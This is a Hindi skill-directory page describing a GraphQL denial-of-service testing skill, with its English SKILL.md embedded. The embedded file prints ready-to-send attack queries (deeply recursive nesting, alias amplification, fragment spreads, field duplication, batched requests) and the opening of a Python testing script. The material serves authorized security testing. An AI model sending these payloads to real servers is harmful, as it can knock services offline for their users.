मुख्य सामग्री पर जाएँ
Skillpedia
टेस्टिंग35k · #8236

performing-graphql-depth-limit-attack

यह क्या करती है

यह टूल GraphQL इस्तेमाल करने वाले सिस्टम की सुरक्षा जांचने में मदद करता है। यह ख़ास तरह से बनाई गई query सर्वर पर भेजता है ताकि उस पर ज़्यादा लोड पड़े। इससे पता चलता है कि कहीं कोई कमज़ोरी है या नहीं, जिससे सर्वर धीमा हो सकता है या बंद हो सकता है।

कब इस्तेमाल करें

  • ✓किसी वेबसाइट या ऐप की सुरक्षा जांचते समय।
  • ✓किसी सुरक्षा घटना की जांच के दौरान।
  • ✓तय समय पर होने वाली सुरक्षा जांच में।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-depth-limit-attack/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-depth-limit-attack/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“http://example.com/graphql पर मेरे GraphQL सिस्टम की सुरक्षा जांचो, उन queries के साथ जो सर्वर पर ज़्यादा लोड डाल सकती हैं।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल ख़ास तरह से बनाई गई GraphQL query भेजता है, जो बार-बार दोहराई जाती हैं या बहुत ज़्यादा डेटा मांगती हैं। इससे सर्वर को ज़्यादा मेहनत करनी पड़ती है, और पता चलता है कि उसमें कोई कमज़ोरी है या नहीं।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Performing GraphQL Depth Limit Attack

Overview

GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.

When to Use

  • When conducting security assessments that involve performing graphql depth limit attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target GraphQL API endpoint with introspection enabled or known schema
  • GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)
  • Python 3.8+ with requests library for automated testing
  • Burp Suite or mitmproxy for traffic analysis
  • Authorization to perform security testing on the target

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Core Attack Techniques

1. Recursive Depth Attack

When a GraphQL schema has bidirectional relationships, queries can reference them recursively:

# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }

# Attack query with excessive nesting depth
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

2. Alias-Based Amplification

When batch queries are blocked, aliases can multiply the same field request within a single query:

query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id: 1) { posts { author { name } } }
  a6: user(id: 1) { posts { author { name } } }
  a7: user(id: 1) { posts { author { name } } }
  a8: user(id: 1) { posts { author { name } } }
  a9: user(id: 1) { posts { author { name } } }
  a10: user(id: 1) { posts { author { name } } }
}

3. Fragment Spread Attack

Fragments can be used to construct complex, deeply nested queries more efficiently:

fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}

4. Field Duplication Attack

Repeating the same field multiple times within a selection set increases processing:

query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}

5. Batch Query Attack

Sending multiple queries in a single HTTP request:

[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]

Automated Testing Script

#!/usr/bin/env python3
"""GraphQL Depth Limit Attack Testing Tool

Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""

import requests
import time
import json

…
अक्सर पूछे जाने वाले सवाल

GraphQL क्या है?

GraphQL सर्वर से डेटा मांगने का एक तरीका है। पुराने तरीकों के मुकाबले इसमें आप ठीक वही डेटा मांग सकते हैं जितना आपको चाहिए। लेकिन अगर इसे ठीक से नियंत्रित न किया जाए, तो इसका गलत फायदा भी उठाया जा सकता है।

डिनायल-ऑफ-सर्विस (DoS) अटैक क्या है?

यह ऐसा हमला है जिसमें किसी सेवा (जैसे वेबसाइट या ऐप) पर इतना ट्रैफिक या इतनी requests भेजी जाती हैं कि वह असली यूज़र के लिए उपलब्ध नहीं रहती।

क्या इसे इस्तेमाल करने के लिए कोडिंग आनी चाहिए?

नहीं, इसके लिए प्रोग्रामिंग का ज्ञान ज़रूरी नहीं है। यह टूल सुरक्षा जांच के लिए है, और आप किसी विशेषज्ञ से इसे चलवा सकते हैं या दी गई हिदायतों का पालन कर सकते हैं।

जानकारी

लेखक का मूल विवरण

Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#8236
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills